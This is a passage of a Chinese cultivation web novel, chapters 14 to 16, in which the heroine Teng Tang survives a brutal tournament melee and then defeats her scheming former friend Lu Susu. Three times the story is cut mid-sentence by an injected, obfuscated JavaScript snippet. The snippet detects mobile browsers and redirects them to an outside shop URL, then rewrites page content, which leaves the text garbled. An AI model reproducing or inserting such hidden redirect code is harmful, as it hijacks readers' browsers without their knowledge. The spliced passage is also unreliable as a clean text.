[雄霸天下]的规则很简单,明天开启,在二十天内,玩家自由选择时间和人挑战。胜利,获得蚊子腿奖励,失败,会中断连胜战绩,重新开始。 二十天后,系统结算胜利成果,以邮件的形式把奖励发送到玩家账号上。 滕棠想要拿到所有奖励,就必须抓紧时间,把实力提升上去。 外门的新人比试,对滕棠来说并不难。如果炼气四层的虎凌都差点挤进内门,想来其他人也不会多强。 滕棠在意的是要比多少场,如果比赛是一对一淘汰制,她根本打不了几场,剩下的只能堆到明月八角塔中完成……那个未知的地方,她更没把握。 焦虑的情绪刚冒出苗头,就被滕棠掐回去。她甩甩头,试图放平心态,眼下最主要的是行动起来,无论什么样的结果,总比一直惆怅好。 一瘸一拐地下山,滕棠继续调动灵力,洗精伐髓、锤骨韧肉。 她长长呼出一口浊气,奇怪地发现,自己从受戒台下来后,对疼痛的忍耐度有所提升,修炼速度也快了不少。 带着这样的疑问,她边想边修炼。直到回到洞内,闭目盘坐,她潜心凝神时,才察觉自己的识海产生了变化。 原本灰蒙蒙的脑海内,只有系统的存在,此刻仔细观察,在系统旁边多了丝透明的东西,安静地浮在中央,像泥里生长出的细根,等待某日破土萌芽。 滕棠能随意使用它,游于体内时,可提高修炼的专注度,调出体外则很费神,仅两秒她就脸色惨白,两眼发黑,差点昏过去。 这是个什么东西,滕棠弄不清楚,在原主的记忆里也没找到相似的描述。她揉了揉太阳穴,见识海里的它没危险性,索性不再管,专心致志地开始修行。 月亮攀升,星辰闪烁,一望无垠的深蓝色天空下,鹿焰宗在明月大陆的西端沉寂。 杂役住的山,比其他地方更吵,除却早上的喧嚣外,还有夜晚的各种声响。 但这些声音都打扰不到滕棠,她的山洞像没有人一般安静。 专注的脸庞淡然无比,身上流动的五色灵力虽浅淡,但波动规律,一圈一圈地在滕棠体内打磨,一丝一缕,不曾停歇。 乌丝间的黑色鳞片,闪过一阵寒光,顺着她的长发滑到发尾,翘着三角形鳞片的圆弧,吸收她身上波动着的灵力。 一夜过去,白昼接踵而来。外面响起嘈杂的脚步声,依旧没影响滕棠的修行。 直到七点的时候,系统准时跳出签到页面,她才被迫中断,掐个净身诀,把身上黏腻的杂质清理干净,开始点那些方框。 身上的伤势已经被她修复得差不多,回血丹可以重新开始攒,以备不时之需。 清早,杂役都去干活,外门弟子在师堂学习,内门她无权进去。今日[雄霸天下]活动开启,滕棠找不到挑战的人,只得放弃一天。 她深呼吸两下,闭上眼睛继续修炼,尽力把炼气二层的实力稳固下来。 又是一天一夜过去,滕棠伸个懒腰,打开游戏系统,花费灵石把破碎的主武器修好,将耐磨度重新变成100,使碎成块的锈刀变回原来的模样。 她起身走出山洞,来到鲁酥酥的洞口,发现黄符卷起,里面没人后,嘀咕一句:“她应该不会忘记吧。” 鲁酥酥不在,她只好独自一人去鹿焰宗的峥嵘峰。 峥嵘峰是所有弟子比试的山峰,从山脚到山顶,建造了上千个或圆或方的擂台,越往上擂台越大、越精致。 峥嵘峰上有条长长的阶梯,下面一段笔直,上面一段蜿蜒,盘旋到山腰处断掉。再往上没有路,只有数个巨大的擂台,那些是为筑基期以上的弟子准备的。 筑基修者皆可御剑飞行,自然不需要将路修上去。 滕棠没来过峥嵘峰,初至时被这座高山震撼了。 高峰形似丹炉,被无数浮石包围,两个圆肚,四个脊足,巍峨庞然。几团灵雾如炉烟,贯穿左右崖壁上的飞瀑洞隙,环绕过几棵虬根青松,顺着宝鼎的头,衔接天空的白云。 天空中,三只丹顶鹤优雅振翅,悠闲地在上千浮石之间穿梭,自由自在,时而长长清鸣两声,泠风超逸。 滕棠深吸着这里浓郁的灵气,舒服得全身毛孔张开,心想,杂役住的山头果然是最差的。 来此处比试的人,年龄都在二十及以下,要么是近五年招进门派的记名弟子,要么跟她一样,穿着杂役的灰布衣,前来借此改命。 滕棠走进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032673|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山下最大的空旷场地,在密集的人群中随便找了个位置站。 她以为鲁酥酥没来比试,结果转头就看到对方跟自己打招呼:“滕姐姐!” 鲁酥酥走过来,挽着的她手臂,指向天空:“太远了你可能看不清,左边是主持今日比试的九长老,右边是大小姐,听闻我要参加,特意前来当公判。” 天上的人约莫在半山腰上,有云雾遮挡,滕棠还真看不清。 扫视场地中密集的弟子和杂役,她问:“你知道参加的人有多少么?比试规则是什么?” “一千四百三十二人,规则嘛,大小姐在和九长老在定呢。”鲁酥酥回答她。 在她们猜测会出什么规则之时,虎凌厉哥他们带着几个小弟,不怀好意地围过来,摸着下巴打量滕棠:“哟呵,几天不见,美人更美了,这是吃了谁的阳气,到炼气二层了?” 鲁酥酥见到他们,连忙放开挽着滕棠的手,偷偷躲进人群里。反正那天打他们最狠的是滕棠,这些人应该不会注意到自己。 她有自知之明,不敢像滕棠那样,和虎凌他们对着干。 对于过来找茬的几人,滕棠没什么好脸色,掏出半米大刀,铛的一声插进石地,对厉哥他们道:“柿子也分软硬,看好了捏。” 场地上的人一阵傻眼,根本没想到滕棠会这样做。 四周议论纷纷,吵闹的声音引起九长老和徐扉罗的注意。 “肃静!”九长老威严喊道,让场内安静了一会儿。 随后,九长老对厉哥吩咐道:“厉蓄侄儿,替我维持秩序。” 底下原本嚣张跋扈的络腮胡男子,立刻变得恭恭敬敬,应声:“是。” 等九长老飞上去后,他得意洋洋地对滕棠道:“九长老是我舅舅,识相就赶紧滚!我可不想在这么多人面前打女人。” 头上顶着5级的虎凌站出来,几日不见,他实力又上涨了,现在已是炼气五层。他朝滕棠挑衅:“美人不走,待会儿别恨我拳头太狠,伤了你如花似玉的脸……” 鲁酥酥才躲开不久,就被一个矮个跟班抓出来。她跺跺脚:“徐小姐真是我主子!你不信,可以待会儿问。” 那人依旧不信,哈哈笑道:“徐师姐就在上方,你还要撒谎,不怕她割你舌头?” 鲁酥酥很无奈,徐扉罗距她实在遥远,又忙着和九长老商量比试的事,根本没空管她这个丫鬟。 过了片刻,天空上的两个人御剑下来,徐扉罗站在一旁监视,九长老背着双手念比试规矩。 “此次外门新人比试,共一千四百三十二人。第一场,在你们脚下的擂台范围内出手,可伤人但不可致人性命,出擂台者淘汰,台上剩至一千人时,第一场比试结束。” 规矩一出,底下哗然一片,往届的混斗都安排在后面,这次竟然安排在第一场。这么多人,要是都抱团,那可怎么打。 于是有弟子出声质疑公允性,要求重改规则。 九长老给擂台布置下一层光幕,在上空回道:“好人缘也是一种实力,出门在外,你与人结怨,别人呼朋唤友,你难道要求对方单独跟你打?” “好了,别耽误时间,现在就开始。”徐扉罗在旁插话道。 底下的人反应过来,立刻开始找伴抱团打架。 鲁酥酥见要开始了,急切招手,朝天空大喊:“大小姐!” 15. 第 15 章 然而上头的人看下面,就跟看密密麻麻的蚂蚁似的,徐扉罗完全没注意到她。 鲁酥酥见此,趁跟班不注意,疾步逃走,跑至几名认识的杂役面前问:“多一人相助,胜机更大,我们何不结盟?” 那几个穿灰色青衣的人摇头,与她拉开距离:“你惹到厉哥虎凌他们,我们不想被牵扯上。” 鲁酥酥连问几个,皆被拒绝。她焦急地四处寻人,却发现那跟班不见了,而另一边,滕棠完全被厉哥他们包围。 于她是伸手摸向储物袋,火速乔装打扮一番,走到几个实力不错的新人弟子前:“几位师兄师姐,可否加我一个?” 为表诚意,她拿出灵石,给每人塞了一块。大家见她虽然实力低,但很有眼力劲,于是欣然同意。 而另一边的滕棠,如同牢中困鸟,没有人敢施以援手。 辱骂之声从四面八方传来:“那日打得那么有气势,怎么,现在怕了?狗娘养的,我肚子痛了好几日。” “你要是愿意当厉哥女婢和炉鼎,做牛做马好好伺候,兴许他会饶过你。” 滕棠观察一番,发现他们大多在炼气二三层,只有虎凌和一个尖嘴猴腮的男子实力较高,一个炼气五层,一个炼气四层。 至于灵根数,滕棠倒没多担心。说起罕见程度,五灵根修者和单灵根修者一样稀有,世上最多的是三灵根,其次是四灵根和双灵根。 她数了数,厉哥和他的人共三十五位,硬打肯定是不行的,必须想办法分散他们。 [(叮)你已进入混战模式。] [温馨提示,当前参与人数较多,你的等级太低,建议打造装备提升实力。点击‘购买材料’。] 可恶!没钱!滕棠忿忿不平地叉掉系统方框。 她扫视擂台情况,边缘地带战斗得最激烈危险,中间亦是如此。她恰巧处在第二圈层,虎凌这边人多强大,几乎没有弟子敢靠近。 包围自己的三十五人许是觉得她逃不出去,在一旁说说笑笑,都未出手,不过身上的灵器亮着光,防备着。 各色灵力驳杂,一眼快速略去,基本上是三灵根。 在几秒内,滕棠把自身处境理清楚,在前三个攻击过来时,脑中快速做出决定。 周身灵力旋身而上,她提起大刀,朝左边的三个炼气二层的弟子挥去,这道横斩用了十成的力气。 下一秒,她将两把巴掌大的弯刀,扔过去,再补上两次伤害。 系统武器和玩家绑定,她不担心飞刀掉到别人手里,或者落在那边收不回来,因为武器离开玩家几秒后,会自动回归,像那些有灵智的灵器一样,插回她腰间。 锈刀加两柄小弯刀,三名弟子身上飘过三次[-9999][-3]。 滕棠本身的灵力不弱,那三人一个猝不及防,具被掀翻,摸着胸膛,那儿已有红艳艳的伤口。 3级武器伤害,与炼气二层的五灵根叠在一起,足以媲美炼气六层的三灵根修者,他们根本挡不住滕棠的全力攻击。 三人倒在地上,捂着伤口起不来,已经失去了战斗力。 [经验值+9000][经验值+9000][经验值+9000] [雄霸天下:当前击败3人] …… 滕棠不敢停留,稍微耽搁片刻,便会被围攻,任她再厉害,也抵不住人多。于是她头也不回地往前冲,像那天一样,扎进又吵又乱的人堆里,混淆视线。 修者以灵气铸体,神识尚在,即使剜肉断骨,亦可恢复,只是每人天赋、体质不同,恢复起来的速度也不尽相同。 那三人倒下后,不愿下擂台放弃,被旁边的人扶到一边,吸收灵气修复自身。 怎奈峥嵘峰灵气虽浓,但场地打斗的修者太多,这块地方的灵气已经变得稀薄,平摊下来,每个人根本吸收不了多少。 伤势愈合缓慢,受伤的人随时可能被别人推下台。 滕棠冲出包围后,开始蛇形走位,在打斗的团体间穿梭。 擂台范围有限,人数众多,滕棠像只狡黠的兔子,来去自由时,不忘逮厉哥的人,逮住就一顿胖揍。 她双脚没停下来过,眼球转动得极为迅速。 略过前方几人时,她提刀一砍,把其中一人撂倒,踩着对方的头,弯腰击向他的要害处,使其在短时间内难以行动。 对方似有所觉,把所有灵气集中于下方,飞刀未伤及他脆弱处。与此同时,身后传来灵剑的破空响,滕棠往前翻滚,左腿横扫,把旁边人踢到边缘,供其他修者推下去。 一柱香时间过去,她快、准、狠,应对如流,找机会干掉了八个较弱的跟班。 此时三个在擂台上养伤,四个在台下修复要害,一个瘸着腿骂骂咧咧在后面追杀她。 虎凌见势不对,和尖嘴猴腮的男子使眼色,两人分头行动,一个顺时针追赶滕棠,另一个逆时针截她。 滕棠在圆台上穿梭,眼尖发现他们分成两头,并怂恿其他修者抓她,骂了声:“无耻!” 眼眸游移,滕棠思量再三,决定转身硬刚虎凌。 虎凌这边共有五人,离她位置最近,如果她动作够快够狠,可以在另一边过来前,把虎凌等人解决掉。然后等后面的人过来,她爆一次灵力炸弹,服下回血丹,有很大机会摆脱这场危机。 滕棠深呼吸一口,做好受伤的心理准备,神情一凛,举起大刀,朝虎凌奔去。 看似普通的大刀,接连不断地劈在虎凌身上。虎凌硬抗两刀后,颓势明显。 滕棠逮着他一个人狂砍,他根本无力招架。 他旁边四个男修见此,卯足劲用灵剑攻向滕棠,见她负伤了,戏笑道:“哟,美人这皮肤嫩得跟豆腐似的。” 被滕棠打趴的虎凌破口大骂:“他奶奶的,你们赶紧把她的四肢卸了!” 他在地上鲜血直飞,旁边四人竟还有心情说笑,着实气得他不行。 他没和五灵根修者打过,竟不知炼气二层的五灵根这么厉害,他连还手的机会都没有。 旁边的弟子舔舔嘴,持剑刺向滕棠腰背:“哥哥来给你添几个血洞,长长教训。” 在滕棠后面,实力为炼气四层的男子,离她仅剩三十米距离,中间没有人阻隔。 滕棠身上中了几剑,咬紧牙关,凶狠的眼神盯住虎凌,两把小飞刀把他的手钉进擂台,一脚踩中他的脖子,用刀背奋力劈下去。 外门比试有规定,可伤人不可杀人。 刀背不锋利,滕棠砸下去,将虎凌敲晕后,掰开他嘴,迅速收割那根讨人厌的舌头。 不得不说她是个狠人,对别人狠,对自己更狠。 在她全力打败虎凌时,其余四人已经持剑,在她身上刺了好几个口子,肩上、腰上、腿上……约莫七八处伤口汩汩流血。 头部和要害处因她护得紧,倒是没大碍。 滕棠痛得身体绷紧,动作稍有迟缓。 这种伤敌一千,自损八百的打法,差点让她败下阵来。 不能停下来,后面的人追过来了。解决掉虎凌后,滕棠忍住折磨人的痛,浑身是血地撑起身,大刀加小飞刀齐出,和那四个对峙起来。 她往后看了眼逼近的六位男修,用打败凌云的办法对付这些人,一下子抽空系统灵力储存条,压缩至大刀和飞刀表面,待人靠近时,朝他们打出极高的伤害。 五色灵力疯狂涌出,光芒强盛,凝聚的力量堪比两个炼气六层的三灵根修者,让周边的空气都隐隐扭曲。 滕棠的三把刀,如同三枚被点燃的炸弹,蓄积的力量强得骇人。 轰隆—— 脚下的石地碎裂,风起尘飞,以她为中心,凡是靠近她三米范围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032674|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内的弟子,皆被强大的灵力震得内腑受伤,晕厥过去。 [你已身负重受。] [自动消耗回血丹进行治疗中……] [回血丹数量不足,请尽快补充。] [经验+9000]…… [当前击败27人] …… 滕棠呼出一口气,所幸有系统相助,伤势严重的身体在快要倒下之际,被回血丹给挽救回来。 可怕的声响吸引了所有人的目光,当他们看过来时,除了原地昏迷不醒的一堆人和龟裂的地面,不见胜利者的身影。 众人惊愕,这、杂役这么强?! 瘫倒在地的可不止几个炼气三层弟子,还有练气五层的虎师兄,这次比试最有可能拿第一的人…… 在尘石飞扬之中,滕棠掩面,早就躲进人群中,默默养伤。 系统灵力条的恢复需要一定时间,不是用之不竭的,她现在体内余下的灵力也不多,单独行动的话,情况很危险。 那边晕倒的十来个,被人趁机丢下台,多一分机会是一分机会,现在哪管他们是厉哥的人。 厉哥的手下剩得不多,还有几个在怒火冲冲地找滕棠。 滕棠大致看了眼场下淘汰的人数,估摸有三百多人,她只需再熬一熬,就能通过第一场比试。 在她逃窜时,忽然瞄到和几个记名弟子在一起的鲁酥酥,于是拖着伤痕累累的身体,过去道:“酥酥、师兄师姐,可否帮我一把,事后定会重谢。” 鲁酥酥胆怯地摇头,劝她:“滕姐姐你找其他人吧,我们也不厉害。” 鲁酥酥身边的记名弟子见是滕棠,视线直接略过她,一点没犹豫地朝虎凌的人喊:“滕棠在这儿!” “……”她还不如不问,滕棠很是无语。 赶紧溜吧,滕棠提着大刀,在场地内绕圈跑,跟那些人躲猫猫。 在场比试的人,此时差不多都结了盟,少有落单的,滕棠跑的时候,还得分心神注意他们。 自她打败虎凌和姓李的男子后,厉哥带着人不再分开,开始纠集拉拢其他人,一齐对付滕棠。 这下不止几个人抓滕棠了。 在漫天嘶吼声里,厉哥大喊道:“谁抓到她,我待会儿重赏一百块中品灵石!” 滕棠除了加速乱窜,还能怎么做?她一无足够的灵气对抗这么多人,二没钱像厉蓄那样收买同门。 怎么还不结束……滕棠跑得满头大汗,两腿越来越沉重,呼吸时喉咙和肺火辣辣的,异常难受。 回血丹数量不足,仅治好她八成伤,其余伤势被她用灵力封住,来不及修复。每个动作牵扯到伤口,都会减缓她的速度。 但九长老迟迟不喊停,也就意味着下面还差淘汰者。 浑身的血与汗,让头发凌乱的滕棠看起来像个疯子,她最终还是没跑过越来越多的围堵者。 四面八方袭击来的灵力,使她节节后退,她有那么一瞬间觉得,自己要被这些人围殴致死。 门派是有规定不许杀人,可这么多人一起打她,谁知道哪个把她打死了。何况她仅是个微不足道的五灵根废物,没有人为她伸张正义。 相反她却不能置同门于死地,门派的规矩向来是站在有价值的弟子一方,她一旦犯错,面临的惩罚肯定不简单。 滕棠被数十人逼到擂台边缘,岌岌可危。 她单膝跪地,全身上下没一块好地方。衣衫褴褛,灰青色的布尽皆染成绯红色,血液在地上流淌,顺着浅坑流到台下。 台上的人在逼她下去,台下的人劝她:“唉,没想到你比男儿还要强,姑娘别硬撑了,命要紧,快下来吧。” “咳咳咳……”滕棠咯出两口血,已是强弩之末。 下去就等于认输,滕棠的字典里就没有认输两个字。不到最后关头,她决不放弃。 16. 第 16 章 她比别人多一张王牌,系统灵力条的恢复不受灵气浓度的限制,恢复的量和速度是固定的,只要给她一定时间喘息,她就多一分机会。 滕棠吐出口血,把系统刚恢复一截的灵力全提出来护体,甩甩意识不清的头。 必须坚持下来,退一步前功尽弃,熬一时,她就能通过初试,改变命运。滕棠双手交握刀柄,将刀面抵在前头,把体内剩得不多的灵力一并掏空。 两把飞刀左右旋转,将那些炼气二三层的弟子杀得无法近身。但这么耗下去,她迟早会败。 滕棠离背后的擂台光幕愈来愈近,身上的伤也越来越多。 蓦地,厉哥从飞刀缝隙窜过来,剑指滕棠,此举要是击中,便是压死骆驼的最后一根稻草。 滕棠面临笔直刺来的剑,亦不知为何自己如此犟,身体隐约颤抖,脑子却控制着身体,不肯后退半步。 在剑逼近她的脸时,她福至性灵,识海内飘出一丝透明之物,飞速钻进攻击而来的厉哥脑海。 仅刹那间,厉哥双目呆滞,剑势骤然丧失,像莽牛冲过来。 滕棠头晕眼花地侧滚开,厉哥直冲台下。 恰在此刻,擂台下人数已至,而天上九长老迟迟不发声,瞪圆了眼睛看着这一幕,厉蓄怎么会直接冲下台? 徐扉罗倒是公正,数了数台下之人,高声道:“第一场比试结束!” 听见这句话,滕棠心里的大石头重重落下,两眼昏花地躺倒在擂台上,望着明媚的晴空,大口大口喘气,脸色白得吓人,衬得衣衫的血更红了。 那些围攻她的人心有不甘,碍于徐扉罗当公判在上,不敢继续动手,各个都在感叹滕棠运气好。 “莫不是只兔子精,跑得贼他妈快。”厉哥的手下骂道。 “怪她运气好,只差一点我们就把她刺下去了。”另一个人道。 台下虎凌怀恨地望向滕棠,双手握拳,走至厉哥面前:“你快去用传音石,同九长老私语。” 然而厉蓄还没缓过神来,表情呆滞地被几个手下扶着,垂着脑袋,没回他的话。 虎凌又急又气,恨铁不成钢地道:“明明是我在帮你,你却如此窝囊,也罢,我寻我兄长去!” 第一场比试结束,剩下的千人,记名弟子占了八成,杂役仅两成。 淘汰者被抬回去治伤。留在擂台上的,每人得到一枚疗伤丹药,需要在原地尽快恢复,以便迎接第二场比试。 滕棠服下丹药后,双手撑起上半身,慢慢坐起来。她点开[雄霸天下],见奖励真的不能提前领时,锤了两下自己的脑袋,真想砸烂这该死的游戏。 氪金的时候使劲捞钱,拿奖励的时候抠抠搜搜。 滕棠抓抓头发,无奈地盘起腿,抓紧时间恢复实力。 九长老查探了一番厉蓄的情况,发现他没有外伤,只是神情恍惚,误以为他不能接受刚才那样傻冲下台的行为,叹气道:“把他带回去吧!” 随后,他御行灵剑,在空中倒立放置一个巨大无比的沙漏,直接公布下一场规则:“修真者在外,带伤与人打斗,此乃家常便饭,这便是不准你们歇息一日再比的缘由。第二场比试一个时辰后开始,一对一抓阄,一千人决出五百。” 此话一出,底下的人哀叫连连,抱怨声冲天。 恍如山丘的沙漏在头顶沙沙响,喧闹的环境下,众人压力倍增,根本静不下心来养伤,心烦意燥地各种骂。 分发的丹药仅能治皮外伤,要想把内伤治好,唯有引灵力入灵根,再从灵根调出灵气,用极为痛苦的方式一寸寸修复肌骨。 化天地之灵气为灵体,脱胎脱俗,从凡至真,这个过程无疑是漫长而艰辛的,期间的汗与泪,只有那些大能知晓。 这样的养伤方式,堪比受刑,大多数修者都坚持不下来。 擂台上,有钱者早早掏出储物囊中的丹药,无视药毒,一股脑倒进嘴中。在哭天喊地的,都是没钱买丹药的人。 滕棠受的伤比绝大多数人都重,吃下去的那颗丹药已经被她炼化。她安安静静地盘坐在擂台上,不受嘈杂的环境影响,一点一点,尽自己最大的努力修复好伤口。 她发现,门派分发的丹药和游戏的完全没法比,门派的丹药不仅疗效差,且有毒素堆积体内,想要排引出去十分困难,她现在根本没时间祛毒。 在这瞬间,滕棠又觉得系统白送给她的奖励很不错。 经脉不够宽阔,灵气的恢复速度会很慢。滕棠想要在短时间内,把伤势严重的身体修复好,就只有借助系统的灵力条。 灵力条一共四节,每恢复一小格,她就全取出来凝练衔补伤口。 一个时辰的休息时间,只要她不分心神,专心致志地修炼,勉强够用。 烦嚣鼓噪的擂台上,几乎没有人能静下心修养,大多数都心神不宁。众人的焦虑被天空上的沙漏放大,像流落的沙子一样,越积越多。 唯有滕棠放空身心,敛起疲惫,冥想一分钟后,心无旁骛地着手养伤。她把修复伤口,看作是必须完成的任务或工作,将所有专注力集于体内,沉浸在自己的世界之中,缓慢踏实地把损伤处养好。 清除淤血,衔接血管,塑骨接筋,她体内流动的灵气生生不息,持续不断地从灵根处供给出去,她的表情淡定,丝毫不觉得痛苦。 身体里的那股灵气,像极她做事的性格,细致认真,踏实刻苦,不紧不慢地把重伤修好,再去愈合轻伤。 一个时辰后,沙漏停止流动,场上喧嚷得更加厉害。 九长老收回沙漏,威严的声音在这片山峰内振荡:“捡一枚竹简,顺我指引,开始第二场比试。” 他衣袖一挥,天空洋洋洒洒落下薄竹片,上面什么字都没有,要等到待会儿才揭晓。 滕棠睁开眼,发现鲁酥酥站在她面前,好奇地盯着她瞧。 “滕姐姐,你那么重的伤竟然……好了?”鲁酥酥不敢置信地问。 滕棠点点头,在地上随便捡了一根竹简。鲁酥酥则捡她那根下面压着的一根,不好意思地道:“姐姐别介意我方才拒绝帮你之事。” 原来是怕她伤心。滕棠摆手,淡然道:“能理解,帮我容易被牵连麻烦。” 鲁酥酥见她表情真的无所谓,娇笑道:“姐姐不气就好。” 过了会儿,大家顺着九长老的指示,来到峥嵘峰北面,放眼望去,这里凿了数不清的方台,九十平米左右,整齐有序地排了好几列,每个方台边缘皆有编号。 “徇私舞弊以及交换竹简者,被我们发现,立刻赶出峥嵘峰。现在公布竹简数字。” 九长老向一根石柱打入灵力,下一秒,大家手中的竹简浮现字体。 “第二场比试一个时辰后开始,你们自行寻找擂台,不可出峥嵘峰,否则视为淘汰。” 众人散开,三三两两出现在峥嵘峰各处,有的在树荫里商讨战术,有的在巨石旁练习武技。 滕棠低头,朝手心看去,手里的竹简写着:叁贰壹。 身旁,鲁酥酥摇着她的手问:“姐姐你是几号?我在三百二十一号,这数字真吉利,我一定能过关。” 滕棠眨眨眼,有些呆愣,亮自己的数字给她看:“我也是。” 鲁酥酥本来欢喜的脸僵住,她刚才见到滕棠有多凶猛,现在就有多害怕。 蓦地拉起身边的手,她嗫嚅半晌,委委屈屈地道:“姐姐、能不能……让我……” “不行。”滕棠摇头拒绝。 鲁酥酥晃动她手臂,鼻子和小脸一红,一副快哭出来的样子,哽咽求道:“姐姐你那么厉害且刻苦,下届外门新人大比,定会脱离杂役身份,成为门派弟子的,你让我这一次吧。” 滕棠偏过头,对她的眼泪无动于衷。 被缠得紧了,她挣开手臂,对鲁酥酥道:“方才在擂台上,你拒绝帮我,我没有任何不满。此时同样的,涉及前途命运,我也要拒绝你。所谓比试,就该以实力说话,胜败靠自己,不能指望对手。” 鲁酥酥没想到她这么绝情,松开手,气呼呼指责她:“我以前帮你多少回,你的良心呢?我以为你多善良,原来是条白眼狼,我要早知道你是这样的人,以前就不该帮你。” 滕棠可是把原主的记忆读了好几次,鲁酥酥所谓的帮她,无非是帮忙传话,帮忙打扫龙傲天的院落,给龙傲天洗衣服。 那份殷勤为的是谁,肯定不是她,而是龙傲天。如果自己服侍的是其他人,鲁酥酥多半不会这么好意。 这些小事被鲁酥酥浓墨重笔记在心头,此时拿出来道德绑架她,可真有些烦到滕棠了。 鲁酥酥怎么不提原主帮她的事,原主干的可都是不讨好的累活、脏活,帮她做了那么多,分文不取。 滕棠不想跟她纠缠,把自己的储物袋递过去,面无表情道:“全抵给你了。” 里面的东西少说值五百多下品灵石,是原主之前存放的物品,滕棠不太需要。 鲁酥酥盯着那个储物袋愣住,忽然灵光一现,产生个可以打败滕棠的想法。她伸手抢过储物袋,把眼泪擦干,阴阳怪气道:“你别忘了,你得罪了龙哥哥,没有我帮衬,你别想挽回他!” 赢了这次比试,成为外门弟子,几乎等同于改变命运。往后不仅有大把时间修炼,还有俸禄和丹药可以拿。 最重要的是,可以去明月八角塔历练,获取机缘。 如果错过,就要等下届外门新人大比。 滕棠是不可能答应鲁酥酥的。她知晓,绝大多数的杂役根本没有时间修炼,终其一生都在服侍主子,劳苦干活,回到山洞困乏得只想睡觉。 因此鲁酥酥再三问她:“你真的不能让我赢?” 滕棠依旧摇头。 理解鲁酥酥是一回事,把机遇让出去又是一回事。滕棠如果是什么单灵根天才,或者圣母玛利亚,她或许会让对方赢,可惜她不是。 不想和鲁酥酥过多争吵,滕棠转身朝擂台行去。 善恶总是在一念之间。鲁酥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032675|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酥咬了咬唇,跑到绿林荫蔽的地方,打开灵兽袋,把徐扉罗的灵宠唤出来。这只灵鹰大多时候都是她在养,因此很听她的话。 鲁酥酥实在是走投无路,才出此下策。她摸了摸灵鹰的头,小声道:“小灵鹰,我对你那么好,这次你一定要帮我,你把主子引去碧如谷的那个水潭,那里很多雾,你偷偷把她绿色那个储物袋叼过来,注意不要被她发现……” 千叮万嘱地交代完事,鲁酥酥惴惴不安。 灵鹰异常听话,在角落里振翅飞上天,用尖喙叼着徐扉罗的裙子,试图带她走。 “怎么了?你要带我去哪儿?好吧,不能耽搁太久。”徐扉罗很无奈,跟九长老说了一声,同灵鹰暂时离去。 鲁酥酥于原地踱来踱去,直到灵鹰安然无恙地回来,把徐扉罗的储物袋放到她面前,她才仰头松了一口气。 而此时徐扉罗正在水潭边翻找,不知道这里有什么好东西,值得灵鹰带自己过来。等她发现灵鹰不在时,已经到了第二场比试的时间。 翻了翻储物袋里的宝物,鲁酥酥把几瓶丹药倒出来吃掉,拿出一件不起眼的宝物放进怀中。 她把储物袋还给灵鹰:“如果主子问起丹药和护甲,你就说是你吃的、你拿的。” 灵鹰乖巧地咕了一声,叼着储物袋飞走。 因公判还未归来,比试不得不暂停片刻。滕棠趁着这个时间,在擂台上打坐,把最后一点伤治好。 鲁酥酥登上擂台,面色全然不似刚才那样焦急。她在滕棠面前走来走去,出言干扰。 “你不让我,我亦能打败你。” 鲁酥酥一想到自己将成为外门弟子,高兴得语气都飘起来。 滕棠听见暗含挑衅的话,掀开卷睫,睨了她一眼:“哦,那挺好的。我还怕一招把你打下去,你会没面子,看来是我多虑了。” 滕棠的反应,让鲁酥酥颇为气恼。她想再说点吓滕棠的话,徐扉罗回来了。 公判回来,九长老当即出声:“第二场比试开始!” [(叮)您已接受1v1挑战,pk模式开启……] 滕棠立起身,将大刀握在手中。 鲁酥酥好像很有信心,伸手在怀里按了按,皮肤瞬间变黄些许,不太明显。 她拔出灵剑,忽然头顶的[1级]暴涨至[3级]。 忽略系统的判定,用肉眼去看,鲁酥酥本身的实力却还在炼气一层。 滕棠吃了一惊,忽然觉得系统这个功能挺有用的,能把某些掩藏实力的人暴露出来。 不知道鲁酥酥服用了什么丹药,有如此奇效。而且看对方身上的黄光,貌似是件稀有灵宝。 鲁酥酥指使灵剑攻来,滕棠挥刀挡住,轻巧跳跃过去,尝试用刀背打在鲁酥酥肩上。 果不然,一刀下去没有反应。 鲁酥酥嘻嘻一声,笑道:“我方才说过,我能自己打赢你。” “没机会了。” 风起,滕棠把体内的灵力,以及系统满格的灵力,全汇于刀上,向她挥去第二刀。 下一刻,鲁酥酥笑容凝固,眼睛睁大,整个人腹背后弯,四肢前伸,直接被砍飞出擂台出局。 [(烟花)恭喜胜利!] [经验值+5000] …… 鲁酥酥不仅落下台,还是脸着地。她一向注重自己的容貌,脸色难堪地爬起来,对滕棠说了句“你给我等着”,然后哭哭啼啼地不知去了哪儿。 在滕棠休息之时,她乘坐灵鹰,飞到徐扉罗身边,胡乱编了不少滕棠和龙傲天的往事,坏话一堆。 “小姐,你知道我为何输给滕棠么?因为龙哥哥以前对她好极了。” 